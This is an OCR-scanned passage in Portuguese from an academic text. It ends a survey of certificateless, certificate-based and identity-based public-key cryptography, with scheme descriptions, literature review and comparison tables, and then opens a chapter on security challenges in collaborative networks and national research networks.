problema da autoridade mal intencionada é o de [Hwang et al. 2008], que apresenta um
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CLE demonstrado seguro sem ordculos aleatorios.

A propdsito do problema de revogacao, a solucao de [Chow et al. 2006] requer um
mediador confidvel, a quem a autoridade entrega as chaves parciais secretas, e que se torna
capaz de iniciar o processo de decifragem. A cifra parcialmente decifrada é submetida ao
destinatario final, que completa a operagdo com o secreto aleatério. Com esta solugdo, o
mediador deve estar online e disponivel sempre que alguém precisar cifrar ou decifrar.

Com relac@o a assinaturas no modelo sem certificados, existem intimeros tra-
balhos publicados, muitos porém demonstrados posteriormente inseguros. Um esquema
que ainda se mantém seguro € apresentado em [Zhang et al. 2006], que € melhorado em
[Hu et al. 2007]. Este ultimo aperfeicoa alguns aspectos do modelo de seguranca para
assinatura, mas regride em outro (o ordculo de assinatura sempre responde corretamente,
mesmo que o adversdrio forneca valor invalido de chave secreta). Todas essas propostas
se baseiam no modelo do ordculo aleatério.

Em [Liu et al. 2007], hd um esquema de assinatura demonstrado seguro no mo-
delo padrao, no entanto requer parametros bastante longos.

Vale citar o trabalho de [Zhang e Wang 2008] que, embora tenha usado um mo-
delo mais fraco de adversarios, apresentou CLS seguro contra autoridade mal intencio-
nada, ndo vulnerdvel ao ataque DoD, que alcanca nivel 3 de Girault e todas as demonstra-
¢oes sdo feitas sob o modelo padrio, sem oraculos aleatdrios. Os autores se valem de uma
técnica menos usual em CLS: é adotado um protocolo de conhecimento-zero na geragao
da chave parcial secreta.

Aplicacoes do Modelo sem Certificado

Um fluxo criptografico, na denominagdo de [Al-Riyami 2005], € uma sequéncia de ope-
racOes criptograficas, como cifrar, autenticar e decifrar, que precisa ser executada numa
determinada ordem. No modelo baseado em identidade e no sem certificado, € possivel
emitir e usar a chave publica antes que a chave secreta completa esteja disponivel. O
exemplo abaixo ilustra uma aplicacdo que faz uso dessa caracteristica.

Na maneira tradicional, quando a emissdao de um documento depende da aprova-
¢do de muitos 6rgaos, o usudrio solicita a aprovacdo de cada 6rgdo e, com essas auto-
rizacdes em maos, € feita uma solicitacdo ao 6rgao emissor do documento. Este dltimo
verificard a validade de cada autorizagdo para entio emitir o documento solicitado.

Com o uso de sistemas sem certificado, é possivel ao 6rgdo emissor entregar o
documento eletronico cifrado com a chave publica e identidade do usuério. Cada 6rgao
que deve aprovar o documento entrega ao usudrio uma chave parcial privada. Apds re-
colher todas as chaves parciais que compde a chave secreta completa, o usudrio passa a
ter acesso ao documento, sem a necessidade de retornar no 6rgao emissor. Como ndo ha
custddia de chaves, o conluio de um ou mais 6rgaos ndo permitird acesso ao documento.

Esse mesmo exemplo poderia ser adotado com software em ambientes sigilosos,
onde o acesso ao software s6 € liberado apds conclusio de etapas de autenticacao.

As construgdes genéricas de esquemas sem certificado se valem de uma compo-
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sicdo de esquemas seguros de criptografia de chave publica convencional e baseada em
identidade. Isso indica que as aplicagdes baseadas em identidades podem ser convertidas
para o modelo sem certificado, ao custo da necessidade de divulgagdo das chaves publi-
cas (ou da manuten¢do de um diretério de chaves) e de um canal seguro para distribui¢ao
dos segredos parciais. O modelo sem certificado pode vir a ser uma ponte entre sistemas
baseados em identidade com os que requerem ICP, em particular, a ICP-Brasil.

A possibilidade de renovacdo da chave publica pelo usudrio, sem interagcdo com
a autoridade, € uma caracteristica exclusiva do modelo de Al-Riyami e Paterson. Isso
pode vir a ser vantagem e ser explorado em alguma aplicacdo especifica. Alguns proto-
colos com base na chave publica autocertificada apresentam tal propriedade, porém sem
garantia de seguranca.

2.3.5. Criptografia de Chave Publica Baseada em Certificado

Na ocasidao da publicacdo do trabalho de [Gentry 2003], o autor havia definido apenas
a cifragem sob o modelo e estudou como seria a constru¢do num ambiente com vdrias
autoridades em hierarquia. Desde entdo, surgiram novas propostas de esquemas para
cifragem e também apareceram modelos para assinatura no paradigma de Gentry.

Na medida em que novos trabalhos foram apresentados, as formalizacdes do mo-
delo evoluiram e os algoritmos foram aprimorados, seja com relagdo ao desempenho com-
putacional, seja na melhoria de algum aspecto de seguranca. Vamos citar alguns trabalhos
de maior interesse.

Cifragem no Modelo Baseado em Certificado

Para que o leitor possa assimilar a conceituacdo do modelo discutida na se¢do 2.2.4, va-
mos revisar o esquema cifragem baseado em certificado (CBE) de [Gentry 2003], que
possui demonstracdo de seguranca contra ataques de texto cifrado escolhido. O esquema
€ composto de cinco algoritmos, fundamentados em emparelhamento bilinear:

inicializa Dado um pardmetro de seguranca k, gera a chave mestra s € Z/qZ e os para-
metros puiblicos do sistema params = (¢, G1,G»,e,n, P, Py, Hi,Hy, H3, Hy), onde
G e G sdo grupos de ordem prima ¢, e : G| x G; — G, é um emparelhamento
bilinear admissivel, P € gerador de G, P,,;, = sP e H; sdo fun¢des de hash, tais
que:

Hy:{0,1}* - G}
Hz . Gz — {0,1}"
Hs:{0,1}" x {0,1}" — Z;
Hy:{0,1}" — {0,1}"

O espago de mensagens é . = {0,1}". O espaco de textos cifrados é ¢ = G x
{0,1}" x {0, 1}".

A entidade A escolhe aleatoriamente sua chave secreta 14 € Zj‘l e calcula sua chave
publica Ny = t4 P, como no modelo convencional.
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certifica A identificacdo do usudrio A é A;,f,, que combina um identificador /D4 €
{0,1}*, com Ny. A autoridade calcula Py = Hy(Ppyp,i,Ainfo), para um periodo i. O
certificado Certy = sP4 € enviado a entidade A, que calcula sua chave de decifragem
(vélida para o periodo i): Sy = Certp +14P}, onde Py = Hi (Ainfo).

cifra Dados um texto m € ., um identificador A;, r,, um periodo de tempo i e params:

Calcular o texto cifrado (rP,6 & H ((e(Pyup,Pa)e(Na,Py))") ,m & Hy(0)), onde
r=Hs(m,o), para o € {0,1}", escolhido aleatoriamente, e P4 e P} sdo calculados
como em certifica.

decifra Dados C = (U,V,W) € €, a chave secreta S4 e params:

Calcular V & Hy(e(Sa,U)) = 0 e W @ Hy(o) = m. Com r = H3(0,m), verificar se
U = rP. Se for, m é a resposta, sendo C € rejeitado.

Gentry adotou a assinatura agregada do esquema baseado em identidade de
[Boneh et al. 2003], para usar como chave de decifragem: o valor de assinatura S4 agrega
os segredos da autoridade e do usudrio, permitindo a correta inversdo da operagao cripto-
grafica.

A defini¢do formal de cifragem no modelo baseado em certificado foi revista em
[Al-Riyami e Paterson 2005]; modifica¢des sutis também foram acrescentadas no modelo
de adversdrios. A partir de entdo, todos os esquemas de cifragem baseados em certificado
seguem as defini¢cdes e modelo de seguranca desse trabalho.

Ainda em [Al-Riyami e Paterson 2005], € dada uma prova de que, dado um es-
quema de cifragem sem certificado seguro, é possivel construir um esquema seguro base-
ado em certificado. Contudo, em [Kang e Park 2005] € apontada uma falha na demons-
tracdo que invalida o resultado. Os autores lembram que também em [Yum e Lee 2004]
foi apresentada uma demonstracao de equivaléncia entre os modelos, posteriormente in-
validada, e sugerem que essa sequéncia de insucessos pode ser um indicio de que cada
um dos conceitos tenha vantagens préprias, apesar dos varios aspectos em comum.

O trabalho de [Dodis e Katz 2005] apresenta uma série de resultados importantes
para a criptografia de chave ptblica. Além de formalizar seguranca de cifragem multi-
pla (encadeada), os autores propdem construcdes genéricas para composi¢do segura de
esquemas de cifragem (PKE, no modelo convencional) e estudam aplicacdes decorren-
tes. Uma das aplicacdes apontadas resulta na primeira constru¢do genérica de um CBE
seguro, a partir de um IBE e um PKE seguros. Todas as demonstracdes de seguranca sao
feitas no modelo padrdo, sem ordculos aleatérios.

Uma descricdo simplificada da construcdo de Dodis e Katz ¢ dada em
[Galindo et al. 2008]: para cifrar uma mensagem m para um usudrio com identidade ID,
para um periodo i:

e Gerar um par de chaves (vk,sk) de um esquema de assinatura de uso tnico (OTS,
one-time signature);

e Quebrar m em duas partes m| e my tais que m = m| & my;
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Cifrar m; usando o esquema IBE, com identidade id||i e label vk, gerando Cy;

Cifrar my usando o esquema PKE, com label vk, gerando C5;

Assinar (Cy,C,) com a chave sk, gerando o;

Texto cifrado de saida é C = (vk,C},C>,0).

Na tentativa de concretizar um esquema de cifragem mais eficiente, os autores em
[Galindo et al. 2008] adotaram uma estratégia diferente e conseguiram reduzir a cifra para
C = (vk,Cy,0), embutindo C; em C}, e a demonstraram segura sem oraculos aleatorios.

Um terceiro esquema CBE demonstrado seguro no modelo padrdo foi dado em
[Liu e Zhou 2008]. Este, entretanto, usa como hipétese a dificuldade de um problema
computacional pouco conhecido.

Outra construc¢do genérica de CBE a partir de um PKE e de um IBE seguros é
descrita em [Lu e Li 2008], que usa a transformacdo de [Fujisaki e Okamoto 1999] para
alcancar seguranca contra ataques de texto cifrado escolhido (mesma estratégia usada em
[Boneh e Franklin 2001] e [Gentry 2003] e tantos outros). As demonstracdes acontecem
sob ordculos aleatdrios.
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Posteriormente, em [Lu etal. 2009], € apresentado um esquema concreto
eficiente, baseado nessa ultima construcdo genérica e na geracdo de chaves de
[Sakai e Kasahara 2003]. Como resultado € obtido um esquema de cifragem mais efi-
ciente que o de original de [Gentry 2003], ao custo da hipétese de dificuldade de um
problema computacional menos estudado.

Assinatura no Modelo Baseado em Certificado

A primeira formaliza¢do de assinatura para o modelo baseado em certificado foi feita em
[Kang et al. 2004]. Nesse mesmo artigo, foi proposto um esquema concreto de assina-
tura, que posteriormente foi demonstrado inseguro a um ataque de substitui¢ao de chave
publica, em [Li et al. 2007].

Esses ultimos autores fortaleceram o modelo de adversario, fornecendo a ele o
poder de substituicdo de chaves publicas. No jogo com o adversario, o simulador do
sistema permite que as chaves publicas sejam substituidas por valores a escolha do ad-
versario, para quaisquer usudrios. Se for garantido que o impostor nao obtém certificado
valido para uma falsa chave, ele ndo terd condicdes de forjar assinatura em um esquema
demonstrado seguro.

Na prética, o novo modelo de seguranca para assinatura baseada em certificado se
tornou mais préximo do proposto por [Al-Riyami e Paterson 2003], para o modelo sem
certificado. Os trabalhos subsequentes relacionados a assinaturas seguem esse modelo de
adversario fortalecido. Curiosamente, os mais recentes esquemas de cifragem baseados
em certificado ainda ndo pressupdem substitui¢ao de chaves.
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Além de melhorar os requisitos de seguranca para assinatura, [Li et al. 2007] apre-
sentaram esquema concreto com emparelhamentos bilineares, com demonstracdo de se-
guran¢a no novo modelo, sob ordculo aleatdrio.

Para completar um leque de possibilidades, em [Liu et al. 2008] foram apresen-
tadas mais duas assinaturas: uma sem emparelhamentos, com o objetivo de maximizar
desempenho computacional; e outra, sem ordculos aleatdrios, para fornecer uma solugdo
no mais alto nivel de seguranca. O primeiro esquema de assinatura, sem emparelha-
mentos, foi comparado a outros e os autores afirmaram superioridade em desempenho;
a demonstragdo de segurancga foi baseada no modelo de ordculos aleatérios. O segundo
esquema, demonstrado seguro no modelo padrio, faz uso de emparelhamentos bilinea-
res; € teoricamente mais seguro e perde em desempenho, quando comparado aos demais,
apenas por conta da funcdo de hash concretizada como em [Waters 2005].

Variacdes sobre assinatura também foram estudadas para o modelo: em
[Au et al. 2007a] hé a proposta de assinatura em anel; [Shao 2008] propde um esquema
de assinatura cifrada verificavel; e [Liu et al. 2009] elaboram esquema de assinatura agre-
gada baseada em certificado, em que n mensagens podem ser assinadas por n participan-
tes, com comprimento fixo, independente de n.

Tanto a assinatura agregada de [Liu et al. 2009] quanto a assinatura sem empa-
relhamentos de [Liu et al. 2008] sdo sugeridas para uso em ambientes com restri¢ao de
recursos computacionais ou de banda, como redes sem fio (de sensores ou dispositivos
moveis).

Todos os esquemas citados pressupdem que a autoridade do sistema gera hones-
tamente os parametros do sistema. Isto €, até a elaboracao deste texto, nenhum trabalho
levou em consideracdo a acdo de uma autoridade que gera os parametros publicos de
modo a obter vantagens em conseguir, sem ser detectada, falsificar assinaturas ou decifrar
mensagens de usudrios. [Au et al. 2007b] fazem tal alerta no contexto do modelo sem
certificado, mas também se aplica ao modelo baseado em certificado.

Aplicacoes do Modelo Baseado em Certificado

Uma aplicacdo interessante que o modelo de Gentry possibilita € uma construcdo mais
elegante de um sistema de proxy em que € possivel revogar o poder de decifragem de um
“procurador”, ainda durante o periodo de validade da chave dada a ele. O modelo formal
e a seguranca de um esquema concreto foram analisados em [Wang et al. 2007].

Basicamente, uma aplicagdo que possa ser realizada em uma ICP convencional,
pode ser implementada no modelo de Gentry. A escolha entre um modelo ou outro de-
pende essencialmente da conveniéncia ou ndo da caracteristica de renovacao de certifica-
dos para tratar revogacao.

O modelo baseado em certificado requer implementagdes mais semelhantes as de
um sistema convencional de chave publica. Sdo poucas as diferencas existentes entre uma
ICP e a infraestrutura de gerenciamento de certificados do modelo de Gentry. Por esse
motivo, € mais facil o reaproveitamento de médulos prontos ou de bibliotecas.
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2.4. Consideracoes e Conclusoes

Apresentaremos, nas proximas subsecdes, comparacdes gerais entre os modelos de crip-
tografia de chave publica e algumas consideragdes sobre implementacao. Por fim, finali-
zamos com sugestdes de trabalhos que podem ser desenvolvidos nesses temas, seguidas
de conclusoes.

2.4.1. Comparacoes Gerais

Conforme j4 indicamos na secao anterior, alguns pesquisadores exploraram as semelhan-
cas existentes entre os modelos aqui estudados, para tentar construir conversdes gené-
ricas de um para o outro. Todas as tentativas foram posteriormente invalidadas, de-
vido a alguma falha nas demonstra¢des de conversao. Exemplos disso podem ser vis-
tos em [Yum e Lee 2004, Al-Riyami e Paterson 2005], contestados respectivamente em
[Libert e Quisquater 2006, Kang e Park 2005]. No primeiro desses trabalhos, chegou-se
a mostrar (falsamente) que cifragem nos modelos baseado em identidade, sem certificado
e baseado em certificado (IBE, CLE e CBE) sdo essencialmente equivalentes entre si, isto
¢, dado um deles se constroi os outros dois.

Portanto, pelo menos até o momento, cada um dos paradigmas aparentemente
possui vida prépria, com propriedades, prés e contras proprios.

Abstraindo-se as diferencas relacionadas com os detalhes de gerenciamento de
chaves, podemos classificar e ordenar os modelos de chave publica da seguinte forma:

e num extremo, fica 0 modelo baseado em identidade, com nivel de confianca 1;
e no outro extremo, fica o modelo convencional sobre ICP, com nivel de confianga 3;

e no meio ficam os demais, hibridos dos dois primeiros, com niveis de 1 a 3.

Os atributos de criptografia de chave publica, discutidos ao longo do texto,
encontram-se resumidos na tabela 2.6. Tais atributos sdo compostos pelo par de chaves
(publica e secreta) e pela garantia de que o par se relaciona com seu dono, identificado
por ID. A fun¢do f em cada ocorréncia na tabela € uma representacao genérica de fungao
matematica; possui propriedades especificas em cada caso.

Tabela 2.6. Atributos dos modelos de criptografia de chave publica.

Modelos
Atributos Com Baseado em Auto- Sem Baseado em
ICP Identidade certificado Certificado Certificado
Chave secreta S s=f(ID,s,.) s s=[x, f(ID,s,.)] [s,c]
Chave pablica | P = f(s) ID P=f(ID,s,s,.) [f(x),ID] [P=f(s),ID]
Garantia fUD,Ps,.) s P s c= f(ID,P,s,.,i)

Na tabela 2.7, algumas das propriedades dos modelos sdo colocadas lado a lado
para comparacdo. Nela, a segunda coluna refere-se ao modelo convencional sobre ICP.
Em geral, um “sim” € considerado um ponto positivo; um “ndo”, ponto negativo.
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A primeira propriedade, “Dispensa ICP”, diz respeito a infraestrutura tradicional
de gerenciamento de chaves publicas. Naturalmente, todos os modelos necessitam de
algum tipo de infraestrutura, cujos requisitos e caracteristicas sdo retratados pelas demais
linhas da tabela. A propriedade “Fluxo criptografico” se refere ao uso da chave publica
antes da emissdo da chave secreta.

Tabela 2.7. Comparacao entre os modelos de criptografia de chave publica.

Modelos

Propriedades Com | Baseado em Auto- Sem Baseado em

ICP | Identidade | certificado | Certificado | Certificado
Dispensa ICP nao sim sim sim nao
Dispensa certificados nao sim sim sim nao
Dispensa diretério de nao sim nao nao nao
chaves ou certificados
Certificacdo explicita sim nao nao nio nio
Nivel de confianca 3 1 3(*%) 2 3
Sem custddia de chaves sim nao sim sim sim
Chave secreta criada in- | sim nao sim nao nao
tegralmente pelo usudrio
Irretratabilidade sim nao sim sim(*) sim(*)
Risco da chave mestra alto altissimo alto alto alto
Dispensa canal seguro sim nao sim nio sim
para distribuir chaves
Renovacao de chaves nao nao nao sim nao
controlada pelo usudrio
Fluxo criptogréfico nao sim nao sim nio
Principais protocolos sim sim nao sim sim
demonstrados seguros

(*) Sob as condi¢des discorridas no texto

2.4.2. Consideracoes sobre Implementacao

Achamos prudente frisar alguns detalhes relacionados a implementacdo de criptossiste-
mas baseados nos modelos alternativos, embora muitos deles se aplicam também ao caso
do modelo tradicional. Pelo fato dessas alternativas serem relativamente novas, nio ha
ainda padronizagdes internacionais generalizadas que guiem o desenvolvedor.

Em primeiro lugar, esquemas e protocolos desacompanhados de demonstracao de
seguranca ndo devem ser considerados para implementagdes praticas. Caso a demons-
tracdo de segurancga seja baseada no modelo do ordculo aleatério, é necessdrio ter um
cuidado especial com a escolha e implementacao das fun¢des hash, pois elas podem vir
a ser ponto vulnerdvel no sistema. Também € preciso que se tenha aten¢@o ao modelo de
adversario usado na demonstragcdo de seguranca; as hipéteses 14 consideradas devem ser
contempladas na implementagao da aplicagdo.

A escolha adequada de curvas elipticas e do emparelhamento bilinear, quando
for o caso, exercem influéncia fundamental no desempenho final dos algoritmos esco-
lhidos, pois ha varias otimizacgdes ja desenvolvidas. Um texto que € boa referéncia para
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quem deseja criar aplicacdes baseadas em emparelhamentos € o capitulo de implementa-
¢oes escrito por Hankerson, Menezes e Scott em [Joye e Neven 2009]. Ademais, existem
algumas padronizagdes para escolha de curvas elipticas, de modo a evitar aquelas ja co-
nhecidas como inseguras (ex. FIPS 186-3).

7z

Dentre os alternativos, o modelo baseado em identidade € o que ja possui
propostas para padronizacdes. A RFC 5091, de dezembro 2007 (http://tools.
ietf.org/html/rfc5091), aborda padrdes para implementacdo dos algoritmos
de [Boneh e Franklin 2001] e [Boneh e Boyen 2004] a partir de curvas supersingulares.
Existem outras padronizagdes escritas pela Voltage Security, empresa pioneira em comer-
cializar produtos baseados no modelo. A RFC 5408, de 2009, por exemplo, descreve a
arquitetura necessdria para implementar IBE e define as estruturas de dados suportadas.

2.4.3. Sugestoes de Trabalhos Futuros

Os modelos alternativos s@o relativamente novos e existem poucas implementacdes em
execucdo. Somente as implantacdes reais podem confirmar as vantagens e desvantagens
levantadas no plano conceitual e revelar dificuldades ainda ocultas. Portanto, uma pri-
meira sugestao de trabalhos estd relacionada a implementacdes nos modelos alternativos,
avaliando também aspectos de eficiéncia computacional.

Como a proposta de Girault ndo evoluiu para um modelo independente, hd es-
paco para o desenvolvimento de um conjunto de primitivas basicas que garantam confi-
dencialidade, integridade e autenticidade demonstravelmente seguras. Ou, ao contrdrio,
demonstrar que o modelo € impraticavel.

E possivel melhorar alguns aspectos em cada modelo, eliminando uma caracte-
ristica ruim ou acrescentando uma propriedade atraente. Refinamentos assim tem sido
estudados, mas ha pontos ainda em aberto, em todos os modelos.

Pudemos observar que a composi¢ao dos atributos de criptografia de chave publica
comprometem a caracterizacdo de cada modelo. Variacdes sobre as composi¢cdes atuais
podem induzir novas variantes ou aprimoramentos.

2.4.4. Consideracoes Finais

Neste texto foram discutidas as propriedades de quatro modelos de criptografia de chave
publica que sdo alternativos ao convencional, por minimizarem algumas das dificuldades
impostas pela infraestrutura de chaves publicas. A partir da andlise conceitual, foram
levantados pontos fortes e fracos de cada modelo, e discutidas algumas possiveis aplica-
coes.

Os quadros comparativos apresentam um sumdrio dos parametros que constroem
cada modelo e uma sintese das caracteristicas relevantes, que sao meras consequéncias da
variacoes exercidas sobre esses parametros.

Aos profissionais de desenvolvimento ou de implantacdo de sistemas de segu-
ranga, as revisdes conceituais ajudam na escolha do modelo adequado de criptografia de
chave publica para a aplicacdo em particular. Pesquisadores e estudantes podem contri-
buir com a evolu¢do dos modelos, tendo como ponto de partida a melhor compreensao
deles.
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Abstract

The infrastructure provided by Internet stimulated the creation of different forms
of collaborative networks. This Chapter introduces an analysis about security challenges
in colaborative networks based on service oriented architecture, in particular, virtual or-
ganizations and national research and education networks. Dynamic trust establishment,
quality of protection policies, privacy and single sign on in heterogeneous infrastructure
are the main challenges in this environment. This Chapter also presents some security
proposals to colaborative networks and some problems that are not covered yet.

Resumo

A realizacdo de negocios que usufruem da infra-estrutura de colaboracdo ofere-
cida pela Internet impulsionou a criacdo de diversas formas de redes colaborativas. Este
Capitulo apresenta uma andlise sobre os desafios de seguranga presentes nas redes cola-
borativas baseadas na arquitetura orientada a servico, em especial, organizacoes virtuais
e redes nacionais de pesquisa e educacdo. Entre os desafios, destacam-se o estabeleci-
mento dindmico da confianca, a definicdo de politicas globais de qualidade de protecao,
a privacidade das informacoes das entidades que compdoem tais redes e a concretizacdo
da autentica¢do unica e da autorizac¢do diante de infra-estruturas de seguranga heterogé-
neas. Solugcoes para prover seguranca as redes colaborativas voltadas para tratar cada
um destes desafios sdo analisadas e, por fim, sdo apresentadas questoes ainda em aberto.
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3.1. Introducao

Com o seu amadurecimento, a Internet alcangou indices de desempenho e confiabilidade
que permitiram que esta deixasse de ser uma rede apenas académica para transformar-se
em uma importante plataforma de comunicag@o e colaboracdo para pessoas e organiza-
coes em todos os ramos de atividades. Essa evolu¢do ndo s6 permitiu que as comu-
nicacdes se tornassem mais rdpidas e baratas, mas também oportunizou o desenvolvi-
mento de novas formas de interacdo através das redes colaborativas. Dentre essas for-
mas, destacam-se as redes colaborativas de organizacdes (Collaborative Networks of Or-
ganizations - CNO), que s@o sistemas constituidos por componentes autdbnomos, geo-
graficamente distribuidos, que colaboram através da rede para alcangcar um objetivo co-
mum [Camarinha-Matos e Afsarmanesh 2005] e as redes nacionais de pesquisa e educa-
cdo (National Research and Education Network - NREN), provedores de servico de In-
ternet especializados que oferecem servigos de comunicagdo avancada para comunidade
cientifica e canais dedicados para projetos de pesquisa [TERENA 2008].

As redes colaborativas de pesquisa e de organiza¢des possuem uma série de re-
quisitos de interoperabilidade e seguranca, que estdo presentes em todas as fases do seu
ciclo de vida. A interoperabilidade € necessdria para tratar varios aspectos de heteroge-
neidade entre os membros da rede, que incluem as diversas plataformas computacionais
(hardware, sistemas operacionais, linguagens de programacao) utilizadas, as vérias poli-
ticas (administrativas, de seguranga, de negdcios) as quais esses membros estdo sujeitos
e as diferentes tecnologias de seguranca adotadas. Um suporte a essa heterogeneidade é
essencial para garantir que a rede possa atender o maior nimero possivel de participantes.
A seguranga, por sua vez, ¢ fundamental para que os membros de uma rede colaborativa
possam depositar confianga nas suas interacdes com outros membros.

Uma vez que as redes colaborativas exigem que as organizacOes participantes te-
nham rela¢gdes de confiangca com um amplo dominio de parceiros, apesar da tendéncia para
trabalhos colaborativos, muitas organizagdes ainda tém receios em compartilhar informa-
coes sensiveis, principalmente, quando hd a necessidade de colaboracdo com parceiros
desconhecidos [Wangham et al. 2005]. Do ponto de vista de politicas de seguranca, cada
organizagdo possui suas proprias politicas, ou seja, havendo a necessidade de colaboragdo
h4 ainda a necessidade de um acordo entre os parceiros envolvidos.

Os desafios de seguranca que envolvem as redes colaborativas iniciam-se na sua
fase de criacdo. Dentre estes, destacam-se o estabelecimento dindmico de relacdes de
confianca, a definicdo de politicas globais de qualidade de protecdo e, no caso das or-
ganizagOes virtuais, a privacidade na busca e selecdo de parceiros. Durante a fase de
operacdo das redes colaborativas, como as entidades participantes estdo dispostas por di-
ferentes dominios administrativos e de seguranca, os desafios consistem em concretizar
a autenticacdo SSO (Single Sign On) e a autorizagdo distribuida de forma transparente,
devido principalmente a heterogeneidade das infra-estruturas de seguranca. Na comuni-
cac¢do entre os participantes das redes colaborativas, deve-se garantir a confidencialidade,
a integridade e a autenticidade das informagdes transmitidas, de acordo com a politica de
qualidade de protecdo (QoP) estabelecida. A manuten¢do de uma rede esté relacionada
a evolucdo da composicao da mesma. As redes colaborativas que serdo tratadas neste
capitulo possuem diferentes niveis de dinamismo. O grande desafio nestes ambientes é
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manter o progresso das aplicacdes mesmo diante do que € identificado na literatura como
churn [Godfrey et al. 2006], recursos entram e saem do sistema em tempos arbitrarios, e
muitas vezes durante os processamentos distribuidos.

O objetivo deste capitulo € analisar os desafios e as propostas de solugdes para
prover seguranga as redes colaborativas orientadas a servigos, em especial, para as orga-
nizacdes virtuais e para as redes nacionais de pesquisa e educacido. As questdes chaves
de seguranca analisadas sdo: autenticacdo SSO, estabelecimento dinamico de relacdes
de confiancga, casamento de politicas de qualidade de protecdo e controle de acesso dis-
tribuido. Os conceitos, problemas e solu¢des de seguranca apresentados neste capitulo
sdo complementados com a apresentacdo de cendrios de uso em redes colaborativas que
demonstram a aplicabilidade das solu¢des de seguranga apresentadas.

Este capitulo estd dividido em cinco sec¢des. Nesta primeira Se¢do foi apresentado
o contexto geral em que o trabalho estd inserido, destacando os objetivos do documento
e a motivacdo para a escolha do tema. Na Secdo 3.2, os tipos de redes colaborativas
sao descritos e alguns conceitos basicos relacionados a Arquitetura Orientada a Servigos
sdo introduzidos. Ainda nesta se¢do, dois cendrios de uso de redes colaborativas sdao
descritos. A Secdo 3.3 apresenta os principais desafios de seguranga presentes nas redes
colaborativas e, retomando os cendrios apresentados na secao anterior, sdo apresentadas as
principais ameacas de seguranca nestes cendrios. A Sec¢ao 3.4 tem por objetivo apresentar
o estado da arte relativo a seguranca em redes colaborativas orientadas a servigos, ou seja,
as solugdes atuais para os problemas apontados na Se¢do 3.3 . Por fim, a secdo 3.5 traz
uma sintese dos principais aspectos de seguranga analisados e das tendéncias das solugdes
de seguranca apresentadas.

3.2. Redes colaborativas: tipos e infra-estruturas de servicos

Segundo [Camarinha-Matos et al. 2008], um novo ambiente competitivo para as indus-
trias de manufatura, de software e de servicos vem se desenvolvendo nos tltimos anos e a
tendéncia para negdcios colaborativos estd forcando um mudanca na forma na qual estas
industrias sao gerenciadas. Segundo os autores, a participagdo em redes colaborativas tem
sido muito importante para a organiza¢ao que anseia encontrar uma vantagem competitiva
diferenciada, especialmente se esta for uma pequena ou média empresa.

Neste Capitulo, estd sendo adotado o seguinte conceito para rede colaborativa: “é
uma rede que consiste de vdrias entidades (p.ex., organiza¢des pessoas € maquinas) autd-
nomas, heterogéneas e geograficamente distribuidas, que colaboram para encontrar um
objetivo comum e compativel e cujas interagdes sao suportadas pelas redes de computa-
dores” [Camarinha-Matos et al. 2008]. Dois tipos de redes colaborativas serdo abordados
neste trabalho: as redes colaborativas de organizagdes (Collaborative Networks of Orga-
nizations - CNO) e as redes nacionais de pesquisa e educagdo (National Research and
Education Network - NREN).

3.2.1. Redes Colaborativas de Organizacao

Uma grande variedade de redes colaborativas de organizagdes tem sido formada nos ul-
timos anos, como por exemplo, Empresas Estendidas (Extended Enterprises), Cadeias
de Fornecimento Dindmicas (Supply Chain), Empresas Virtuais (Virtual Enterprises) e
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Organizagdes Virtuais (Virtual Organizations)[Camarinha-Matos e Afsarmanesh 2005].
No cendrio das redes de organizagdes, a cooperacdo na forma de organizacdes virtuais
(OVs) € a estratégia que mais se destaca e que vem sendo adotada por muitas empresas,
por profissionais e laboratdrios espalhados ao redor do mundo, visando atender novas
oportunidades de negécios (ONs), bem como ampliar sua participacdo em novos mer-
cados e/ou alcancar exceléncia cientifica para o desenvolvimento de projetos inovadores
[Kiirtimliioglu et al. 2005].

Uma OV corresponde a uma unido tempordaria de organiza¢des independentes que
se agregam visando compartilhar recursos e funcionalidades para alcangar objetivos que
estas ndo alcancariam sozinhas. A cooperacdo destas organizacOes € garantida pela au-
tomacdo e informatizacdo de grande parte de suas infra-estruturas, deixando-as acessi-
veis via Internet. A selecdo dos membros da OV €, geralmente, provida por sistemas
de busca e selecdo de parceiros que sdo aplicados sobre um conjunto pré-definido de
organizagdes, chamado de ambiente de geracdo de OVs (Virtual Organization Breeding
Enviromment - VBE), que € uma evolugdo do conceito tradicional de cluster de empresas
[Wangham et al. 2005].

Conforme ilustrado na Figura 3.1, o ciclo de vida de uma organizacio virtual é
um processo circular composto dos estigios de criacao, operacdo, evolucao e dissolucio
cujas funcionalidades sdo [Camarinha-Matos et al. 2008]:

Figura 3.1. Ciclo de Vida de Vida de uma Organizacao Virtual

e Criagdo: identificar as competéncias necessdrias para atender a uma oportunidade
de negdcio, modelar o projeto cooperativo com base nestas competéncias e identi-
ficar os parceiros que melhor se enquadram neste projeto (busca e sele¢do). Regras
comuns de cooperacdo, riscos € o como ocorrerd compartilhamento dos resultados
também sdo definidos neste estigio;

e Operagdo: executar o projeto cooperativo de forma eficiente e efetiva. Mecanismos
de cooperacdo e medidas de desempenho tem papel importante neste estagio;

e Evolugdo: permitir uma pequena alteracao de membros ou redistribui¢do de compe-
téncias entre os membros. Mudancas maiores em objetivos, principios ou mudancgas
de muitos parceiros levam a uma nova formagao;

e Dissolu¢do: como os projetos dentro de uma OV tem tempos de vida limitados,
quando finalizados as relagdes de cooperacao precisam ser dissolvidas.
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Para a realizacdo do conceito de redes colaborativas de organizagdes, trés pré-
condicdes sdo essenciais: a colaboracdo entre os parceiros envolvidos em um nivel que
vai além da simples troca de mensagens de correio eletrdonico; a confianca, pois parceiros
desejam compartilhar informacdes; e que todas (ou quase todas) as atividades colaborati-
vas realizadas sejam feitas via rede de computadores [Rabelo 2008].

No cendrio das redes de organizagdes, onde as aliancas sdo volateis e o fluxo
de colaboragdo algumas vezes é gerado e conhecido dinamicamente, de acordo com o
processo de negdcio requerido, infra-estruturas para negécios colaborativos mais flexiveis
sd0 necessdrias. A infra-estrutura deve ser transparente e adaptativa, de acordo com as
condicdes do ambiente de negdcio e o nivel de autonomia das organizacdes. Seguranca e
interoperabilidade sdo dois requisitos ndo funcionais que também devem ser considerados
nesta infra-estrutura [Rabelo 2008].

3.2.2. Redes Nacionais de Pesquisa e Educacao

As Redes Nacionais de Pesquisa e Educacdo (National Research and Education Network -
NREN) sdo caracterizas por interconectar principalmente entidades de educacao superior
(universidades e institutos de pesquisas), porém outras quatro exce¢des podem pertencer
a uma NREN, escolas de ensino médio e fundamental, museus e bibliotecas, hospitais e
departamentos do governo.

Segundo a associacdo TERENA (Trans-European Research and Education Net-
working Association)2 (2008), €é crescente, ndo s6 na Europa, o numero de paises interes-
